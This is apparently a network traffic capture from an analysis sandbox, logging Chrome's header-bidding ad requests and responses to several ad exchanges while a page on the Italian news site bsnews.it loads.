[{"Price":0,"Attempt":"526c03294a0ac6bf198c4e6cf56a247b","Placement":"198c4e6cf56a247bb91891f748eff1b6","CreativeID":"526c03294a0ac6bf198c4e6cf56a247b","BidID":"201400cd48d597d"},{"Price":0,"Attempt":"3e1eb644915186b3e2f81f6a1ec9f06b","Placement":"e2f81f6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	49999	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	557	OUT	POST / HTTP/1.1 Host: prebid.smilewanted.com Connection: keep-alive Content-Length: 563 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	563	OUT	Data Raw: 7b 22 7a 6f 6e 65 49 64 22 3a 22 73 75 6e 6d 65 64 69 61 2e 74 76 5f 68 62 5f 64 69 73 70 6c 61 79 22 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 45 55 52 22 2c 22 74 61 67 49 64 22 3a 22 61 64 75 31 22 2c 22 73 69 7a 65 73 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 35 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 31 30 30 7d 5d 2c 22 74 69 6d 65 6f 75 74 22 3a 33 30 30 30 2c Data Ascii: {"zoneId":"sunmedia.tv_hb_display","currencyCode":"EUR","tagId":"adu1","sizes":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h":90},{"w":320,"h":50},{"w":320,"h":100}],"timeout":3000,
2024-03-28 08:51:19 UTC	529	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:19 GMT Connection: close Cache-Control: private, must-revalidate pragma: no-cache expires: -1 Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 86b660adcc7807eb-IAD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50000	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	557	OUT	POST / HTTP/1.1 Host: prebid.smilewanted.com Connection: keep-alive Content-Length: 563 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	563	OUT	Data Raw: 7b 22 7a 6f 6e 65 49 64 22 3a 22 73 75 6e 6d 65 64 69 61 2e 74 76 5f 68 62 5f 64 69 73 70 6c 61 79 22 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 45 55 52 22 2c 22 74 61 67 49 64 22 3a 22 61 64 75 32 22 2c 22 73 69 7a 65 73 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 35 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 31 30 30 7d 5d 2c 22 74 69 6d 65 6f 75 74 22 3a 33 30 30 30 2c Data Ascii: {"zoneId":"sunmedia.tv_hb_display","currencyCode":"EUR","tagId":"adu2","sizes":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h":90},{"w":320,"h":50},{"w":320,"h":100}],"timeout":3000,
2024-03-28 08:51:19 UTC	529	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:19 GMT Connection: close Cache-Control: private, must-revalidate pragma: no-cache expires: -1 Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 86b660adcd037fb2-IAD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	49994	50.16.9.119	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	580	OUT	POST /rtb/bid?src=prebid_prebid_8.33.0 HTTP/1.1 Host: ap.lijit.com Connection: keep-alive Content-Length: 1113 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1113	OUT	Data Raw: 7b 22 69 64 22 3a 22 36 30 30 38 39 63 37 62 36 63 33 36 34 37 22 2c 22 69 6d 70 22 3a 5b 7b 22 61 64 75 6e 69 74 63 6f 64 65 22 3a 22 61 64 75 31 22 2c 22 69 64 22 3a 22 33 30 65 62 61 62 39 36 35 38 31 61 66 33 35 22 2c 22 74 61 67 69 64 22 3a 22 37 30 35 31 36 34 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 22 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 33 Data Ascii: {"id":"60089c7b6c3647","imp":[{"adunitcode":"adu1","id":"30ebab96581af35","tagid":"705164","bidfloor":"","banner":{"format":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h":90},{"w":3
2024-03-28 08:51:19 UTC	490	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: application/json Content-Length: 93 Connection: close Set-Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type Vary: Accept-Encoding, User-Agent
2024-03-28 08:51:19 UTC	93	IN	Data Raw: 7b 22 69 64 22 3a 22 36 30 30 38 39 63 37 62 36 63 33 36 34 37 22 2c 22 62 69 64 69 64 22 3a 22 66 34 33 31 62 31 39 38 2d 37 38 36 33 2d 34 65 31 35 2d 61 36 64 30 2d 34 63 36 63 35 30 66 66 64 39 35 66 22 2c 22 65 78 74 22 3a 7b 22 69 69 64 22 3a 31 33 34 32 36 32 31 38 7d 7d Data Ascii: {"id":"60089c7b6c3647","bidid":"f431b198-7863-4e15-a6d0-4c6c50ffd95f","ext":{"iid":13426218}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	49996	50.16.9.119	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	580	OUT	POST /rtb/bid?src=prebid_prebid_8.33.0 HTTP/1.1 Host: ap.lijit.com Connection: keep-alive Content-Length: 1435 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1435	OUT	Data Raw: 7b 22 69 64 22 3a 22 36 31 64 61 63 34 63 33 65 64 64 30 30 62 64 22 2c 22 69 6d 70 22 3a 5b 7b 22 61 64 75 6e 69 74 63 6f 64 65 22 3a 22 61 64 75 31 22 2c 22 69 64 22 3a 22 35 35 38 37 61 30 62 36 31 61 35 64 61 36 31 22 2c 22 74 61 67 69 64 22 3a 22 37 30 35 31 36 32 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 22 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a Data Ascii: {"id":"61dac4c3edd00bd","imp":[{"adunitcode":"adu1","id":"5587a0b61a5da61","tagid":"705162","bidfloor":"","banner":{"format":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h":90},{"w":
2024-03-28 08:51:19 UTC	490	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: application/json Content-Length: 94 Connection: close Set-Cookie: ljt_reader=IZUTABZH0nJn9agWRsucnTSM;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type Vary: Accept-Encoding, User-Agent
2024-03-28 08:51:19 UTC	94	IN	Data Raw: 7b 22 69 64 22 3a 22 36 31 64 61 63 34 63 33 65 64 64 30 30 62 64 22 2c 22 62 69 64 69 64 22 3a 22 35 35 65 62 35 65 33 63 2d 36 32 39 30 2d 34 62 65 37 2d 61 36 63 30 2d 31 30 35 36 31 30 63 61 61 33 33 36 22 2c 22 65 78 74 22 3a 7b 22 69 69 64 22 3a 31 33 34 32 36 32 31 38 7d 7d Data Ascii: {"id":"61dac4c3edd00bd","bidid":"55eb5e3c-6290-4be7-a6c0-105610caa336","ext":{"iid":13426218}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	49988	52.205.169.46	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	553	OUT	POST /pb HTTP/1.1 Host: ad.360yield.com Connection: keep-alive Content-Length: 1252 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1252	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 61 64 75 31 22 7d 2c 22 62 69 64 64 65 72 22 3a 7b 22 70 6c 61 63 65 6d 65 6e 74 49 64 22 3a 22 32 32 37 39 37 30 30 39 22 7d 7d 2c 22 69 64 22 3a 22 31 36 37 32 35 39 33 30 34 35 61 63 34 31 64 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 74 6f 70 66 72 61 6d 65 22 3a 30 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 Data Ascii: {"imp":[{"ext":{"data":{"pbadslot":"adu1"},"bidder":{"placementId":"22797009"}},"id":"1672593045ac41d","banner":{"topframe":0,"format":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h"
2024-03-28 08:51:19 UTC	190	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Length: 0 Connection: close access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	49990	208.115.237.110	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	610	OUT	POST /hb/ HTTP/1.1 Host: shb.richaudience.com Connection: keep-alive Content-Length: 840 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376
2024-03-28 08:51:19 UTC	840	OUT	Data Raw: 7b 22 70 69 64 22 3a 22 4d 50 5f 30 36 45 68 43 62 63 66 5a 4b 22 2c 22 73 75 70 70 6c 79 54 79 70 65 22 3a 22 73 69 74 65 22 2c 22 61 75 63 74 69 6f 6e 49 64 22 3a 6e 75 6c 6c 2c 22 62 69 64 49 64 22 3a 22 31 33 35 33 31 37 31 34 33 38 62 66 32 37 34 22 2c 22 42 69 64 52 65 71 75 65 73 74 73 43 6f 75 6e 74 22 3a 31 2c 22 62 69 64 64 65 72 22 3a 22 72 69 63 68 61 75 64 69 65 6e 63 65 22 2c 22 62 69 64 64 65 72 52 65 71 75 65 73 74 49 64 22 3a 22 31 32 35 39 38 61 65 33 37 61 36 33 33 33 63 22 2c 22 74 61 67 49 64 22 3a 22 61 64 75 31 22 2c 22 73 69 7a 65 73 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 Data Ascii: {"pid":"MP_06EhCbcfZK","supplyType":"site","auctionId":null,"bidId":"1353171438bf274","BidRequestsCount":1,"bidder":"richaudience","bidderRequestId":"12598ae37a6333c","tagId":"adu1","sizes":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"
2024-03-28 08:51:19 UTC	330	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 28 Mar 2024 08:51:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400
2024-03-28 08:51:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	49998	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	579	OUT	POST /bidder/prebid/bids HTTP/1.1 Host: prebid-eu.creativecdn.com Connection: keep-alive Content-Length: 1411 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1411	OUT	Data Raw: 7b 22 69 64 22 3a 22 33 35 31 63 39 31 65 36 34 30 38 36 35 30 65 22 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 33 36 34 30 65 64 37 33 63 64 31 63 30 37 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 35 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 31 30 30 7d 5d 7d 2c 22 74 61 67 Data Ascii: {"id":"351c91e6408650e","imp":[{"id":"3640ed73cd1c07","banner":{"w":300,"h":250,"format":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h":90},{"w":320,"h":50},{"w":320,"h":100}]},"tag
2024-03-28 08:51:19 UTC	251	IN	HTTP/1.1 204 No Content date: Thu, 28 Mar 2024 08:51:19 GMT vary: Origin access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true access-control-allow-methods: POST access-control-max-age: 3600 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	49987	52.205.169.46	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	553	OUT	POST /pb HTTP/1.1 Host: ad.360yield.com Connection: keep-alive Content-Length: 1252 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	1252	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 61 64 75 32 22 7d 2c 22 62 69 64 64 65 72 22 3a 7b 22 70 6c 61 63 65 6d 65 6e 74 49 64 22 3a 22 32 32 37 39 37 30 31 30 22 7d 7d 2c 22 69 64 22 3a 22 31 37 36 62 33 36 65 36 36 35 31 61 33 64 63 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 74 6f 70 66 72 61 6d 65 22 3a 30 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 36 34 30 2c 22 68 22 3a 33 36 30 7d 2c 7b 22 77 22 3a 33 32 30 2c 22 68 22 3a 34 38 30 7d 2c 7b 22 77 22 3a 37 32 30 2c 22 68 22 3a 37 32 30 7d 2c 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 38 30 2c 22 68 22 Data Ascii: {"imp":[{"ext":{"data":{"pbadslot":"adu2"},"bidder":{"placementId":"22797010"}},"id":"176b36e6651a3dc","banner":{"topframe":0,"format":[{"w":300,"h":250},{"w":300,"h":600},{"w":640,"h":360},{"w":320,"h":480},{"w":720,"h":720},{"w":728,"h":90},{"w":980,"h"
2024-03-28 08:51:19 UTC	190	IN	HTTP/1.1 204 No Content Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Length: 0 Connection: close access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	49986	8.2.110.27	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	565	OUT	POST /?c=o&m=multi HTTP/1.1 Host: pub.admanmedia.com Connection: keep-alive Content-Length: 830 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	830	OUT	Data Raw: 7b 22 64 65 76 69 63 65 57 69 64 74 68 22 3a 31 32 38 30 2c 22 64 65 76 69 63 65 48 65 69 67 68 74 22 3a 31 30 32 34 2c 22 6c 61 6e 67 75 61 67 65 22 3a 22 65 6e 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 68 6f 73 74 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 2c 22 70 61 67 65 22 3a 22 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 70 6c 61 63 65 6d 65 6e 74 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 49 64 22 3a 22 36 38 39 37 22 2c 22 62 69 64 49 64 22 3a 22 32 39 33 36 32 61 36 32 61 32 30 33 64 39 22 2c 22 65 69 64 73 22 3a 5b 5d 2c 22 62 69 64 46 6c 6f 6f 72 22 3a Data Ascii: {"deviceWidth":1280,"deviceHeight":1024,"language":"en","secure":1,"host":"bsnews.it","page":"/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","placements":[{"placementId":"6897","bidId":"29362a62a203d9","eids":[],"bidFloor":
2024-03-28 08:51:19 UTC	254	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:19 GMT Content-Type: application/json Content-Length: 22 Connection: close Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Content-Encoding: gzip
2024-03-28 08:51:19 UTC	22	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 03 8b 8e 05 00 29 bb 4c 0d 02 00 00 00 Data Ascii: )L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	49985	8.2.110.27	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:19 UTC	565	OUT	POST /?c=o&m=multi HTTP/1.1 Host: pub.admanmedia.com Connection: keep-alive Content-Length: 524 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:19 UTC	524	OUT	Data Raw: 7b 22 64 65 76 69 63 65 57 69 64 74 68 22 3a 31 32 38 30 2c 22 64 65 76 69 63 65 48 65 69 67 68 74 22 3a 31 30 32 34 2c 22 6c 61 6e 67 75 61 67 65 22 3a 22 65 6e 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 68 6f 73 74 22 3a 22 62 73 6e 65 77 73 2e 69 74 22 2c 22 70 61 67 65 22 3a 22 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 2f 22 2c 22 70 6c 61 63 65 6d 65 6e 74 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 49 64 22 3a 22 39 30 31 36 22 2c 22 62 69 64 49 64 22 3a 22 32 32 35 31 39 39 62 32 33 66 35 34 63 39 33 22 2c 22 65 69 64 73 22 3a 5b 5d 2c 22 62 69 64 46 6c 6f 6f 72 22 Data Ascii: {"deviceWidth":1280,"deviceHeight":1024,"language":"en","secure":1,"host":"bsnews.it","page":"/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","placements":[{"placementId":"9016","bidId":"225199b23f54c93","eids":[],"bidFloor"
